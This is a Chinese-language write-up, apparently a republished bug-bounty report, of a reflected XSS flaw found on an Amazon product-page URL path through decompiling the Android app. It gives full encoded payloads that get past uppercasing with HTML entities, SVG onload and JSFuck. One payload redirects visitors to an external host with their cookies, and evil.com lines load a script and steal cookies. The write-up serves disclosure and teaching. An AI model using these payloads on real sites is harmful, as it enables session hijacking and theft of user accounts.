发现亚马逊网站的反射型XSS漏洞的示例分析

今天就跟大家聊聊有关发现亚马逊网站的反射型XSS漏洞的示例分析，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。

我一直对亚马逊网站的货物展示方式感兴趣，比如，这种展示方式的设计架构是啥？他们如何实现良好的用户体验呢？这些可以略从亚马逊的A/B测试策略知晓，但却无法找到他们具体的网站架构测试设计。

A/B测试是一种新兴的网页优化方法，可以用于增加转化率注册率等网页指标。简单来说，A/B测试是一种用于提升App/H5/小程序产品转化率、优化获客成本的数据决策方法。对于互联网产品来说，通过A/B测试提升点击转化率，优化获客成本已得到越来越多的关注。

APP安全测试

亚马逊购物APP

一种查看亚马逊网站架构设计的方式莫过于去了解它的购物APP了。某个雨天的周五下午，我决定反编译一下亚马逊的安卓APP看看其中的代码长啥样。大概步骤是这样的：下载APK文件，使用一些在线反编译器提取其中的代码，检查其中不同文件涉及的URL链接和产品页面等信息。

查找产品页面链接

通常，亚马逊产品页面链接中都包含 ‘/dp/’ 字样，大概是这样的：https://www.amazon.com/gp/masclient/dp/<product_id> ，所以我就简单的执行了 ‘/dp/’ 字段搜索：

Masclient 产品页面

我检查了很多产品页面URL，但唯独没见着像下图这样包含 ‘masclient’ 的产品页面URL：

https://www.amazon.com/gp/masclient/dp/B00Q7LTUK

哦，这看似是一个使用内部应用的自定义产品页面，把产品id换成其它看看会是什么反应？额，这好像有点戏，URL解析过程中未对产品id作适当检查，而且还把它全部大写了（TEST），那来看看注入HTML代码会怎样呢？就试试滚动内容的HTML <marquee> 标签吧：

https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch2%3Ehi%20mom!

啊，太好了，URL竟然对7个不同字段进行了解析，其中一个地方就是脚本标签里：

面临的问题

输入会被大写化

所以像alert这样的javascript函数会被转义为ALERT，从而失效。还好，有人曾在对Yahoo.com网站的XSS漏洞挖掘中规避了这种大写转义，解决方法是这样的：先把纯文本字符转换为HTML实体字符，然后对其进行URL编码，最后用SVG标记的onload参数输出，格式像这样：

<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>

像</script>这样的闭合标签不可用

遇到闭合标签它会给出404错误响应，所以，这样就不可能通过<script src="evil.com/1.js"></script>这样的方式来加载我们的 javascript 文件。解决方法要这样：在DOM标签中，使用 <svg onload=javascript:alert(1)> 实现 javascript 注入，或者直接使用链接脚本中的向量来执行，像这样，我们可以添加这样的 “}’> 几个字符来突破限制，最终的URL链接就会是这样的：

https://www.amazon.com/gp/masclient/dp/'}");}JAVASCRIPTHERE;{("

由于大写转义的问题，我们在这考虑用 jsfuck 代码方式来把 javascript 代码转变为 ! ( ) + [ ] 形式的字符，例如响应出 debugger 函数的URL经 jsfuck 方式转换后是这样的：

https://www.amazon.com/gp/masclient/dp/'%7D");%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+`...

如果对URL长度没限制的话，利用这种技术可以成功注入cookie窃取代码 fetch("evil.com"+document.cookie)，最终实现这种cookie窃取的URL长度会超过8000个字符。

URL链接长度限制

按我的测试来看，只要URL长度超过3500个字符左右，亚马逊网站页面就会停止响应，所以，在这里，要想实现cookie窃取，我们貌似就不能利用这种 JSFuck 编码技术了。但在reddit社区中，有人建议可以用  jjencode 编码，但我测试后发现，这种 $ 符号的方式最终好像不能被正常解析。

JSFuck：是一种基于JavaScript的另类编程风格，它只使用六个不同的字符（[，]，(，)，!，+），来编写和执行代码。它不依赖于浏览器，所以你甚至可以在 Node.js. 上运行它，转换后的代码只使用6个字符，实现的功能和转换前代码是一样的。

Chrome 浏览器 XSS Auditor的警告

Chrome 浏览器67.0.3396.62后的版本，都会主动识别并阻拦XSS攻击，抛出 ERR_BLOCKED_BY_XSS_AUDITOR 响应错误。为了完成验证性测试，我采用了无内置ss auditor的Firefox (60.0.1) 浏览器。

最终在Firefox中的 XSS PoC 攻击

有了对以上问题的分析之后，在这里，我构造了一个亚马逊URL链接，能让访问者重定向到另一个外部URL链接，并在该外部链接中实现对访问者cookie的窃取展示。由于访问者所有对亚马逊网站的浏览操作都会被这个构造链接记录，也就是说最终我就可以窃取访问者的亚马逊网站session。另外，我还可以在其中加入一个假冒的亚马逊登录界面，间接实现对访问用户的用户名密码信息窃取。

最终用到的Payload

测试链接：

https://www.amazon.com/gp/masclient/dp/%22%7D%27%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%23x2E%3B%26%23x72%3B%26%23x65%3B%26%23x70%3B%26%23x6C%3B%26%23x61%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x73%3B%26%23x33%3B%26%23x2D%3B%26%23x65%3B%26%23x75%3B%26%23x2D%3B%26%23x77%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x2D%3B%26%23x31%3B%26%23x2E%3B%26%23x61%3B%26%23x6D%3B%26%23x61%3B%26%23x7A%3B%26%23x6F%3B%26%23x6E%3B%26%23x61%3B%26%23x77%3B%26%23x73%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6D%3B%26%23x2F%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x69%3B%26%23x6E%3B%26%23x67%3B%26%23x2D%3B%26%23x74%3B%26%23x61%3B%26%23x72%3B%26%23x67%3B%26%23x65%3B%26%23x74%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x31%3B%26%23x2E%3B%26%23x68%3B%26%23x74%3B%26%23x6D%3B%26%23x6C%3B%26%23x3F%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x3D%3B%26%23x27%3B%26%23x2B%3B%26%23x65%3B%26%23x73%3B%26%23x63%3B%26%23x61%3B%26%23x70%3B%26%23x65%3B%26%23x28%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x29%3B%26%23x29%3B%3E

URL编码后的链接：

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=&amp#x77;&amp#x69;&amp#x6E;&amp#x64;&amp#x6F;&amp#x77;&amp#x2E;&amp#x6C;&amp#x6F;&amp#x63;&amp#x61;&amp#x74;&amp#x69;&amp#x6F;&amp#x6E;&amp#x2E;&amp#x72;&amp#x65;&amp#x70;&amp#x6C;&amp#x61;&amp#x63;&amp#x65;&amp#x28;&amp#x27;&amp#x68;&amp#x74;&amp#x74;&amp#x70;&amp#x73;&amp#x3A;&amp#x2F;&amp#x2F;&amp#x73;&amp#x33;&amp#x2D;&amp#x65;&amp#x75;&amp#x2D;&amp#x77;&amp#x65;&amp#x73;&amp#x74;&amp#x2D;&amp#x31;&amp#x2E;&amp#x61;&amp#x6D;&amp#x61;&amp#x7A;&amp#x6F;&amp#x6E;&amp#x61;&amp#x77;&amp#x73;&amp#x2E;&amp#x63;&amp#x6F;&amp#x6D;&amp#x2F;&amp#x70;&amp#x65;&amp#x6E;&amp#x74;&amp#x65;&amp#x73;&amp#x74;&amp#x69;&amp#x6E;&amp#x67;&amp#x2D;&amp#x74;&amp#x61;&amp#x72;&amp#x67;&amp#x65;&amp#x74;&amp#x2F;&amp#x78;&amp#x73;&amp#x73;&amp#x31;&amp#x2E;&amp#x68;&amp#x74;&amp#x6D;&amp#x6C;&amp#x3F;&amp#x63;&amp#x6F;&amp#x6F;&amp#x6B;&amp#x69;&amp#x65;&amp#x3D;&amp#x27;&amp#x2B;&amp#x65;&amp#x73;&amp#x63;&amp#x61;&amp#x70;&amp#x65;&amp#x28;&amp#x64;&amp#x6F;&amp#x63;&amp#x75;&amp#x6D;&amp#x65;&amp#x6E;&amp#x74;&amp#x2E;&amp#x63;&amp#x6F;&amp#x6F;&amp#x6B;&amp#x69;&amp#x65;&amp#x29;&amp#x29;>

HTML 实体字符转换后的链接:

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace(‘https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>

在 Chrome 浏览器中弹出 alert(1) 的链接（还是采用了JSFuck 编码）：

https://www.amazon.com/gp/masclient/dp/'%7D%22);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![]);%7B(%22

要对内部APP应用进行严格安全审查，有时一个参数就可导致严重的安全漏洞。XXS payload一样也能通过混淆编码方式绕过某些限制，形成安全威胁。

看完上述内容，你们对发现亚马逊网站的反射型XSS漏洞的示例分析有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注亿速云行业资讯频道，感谢大家的支持。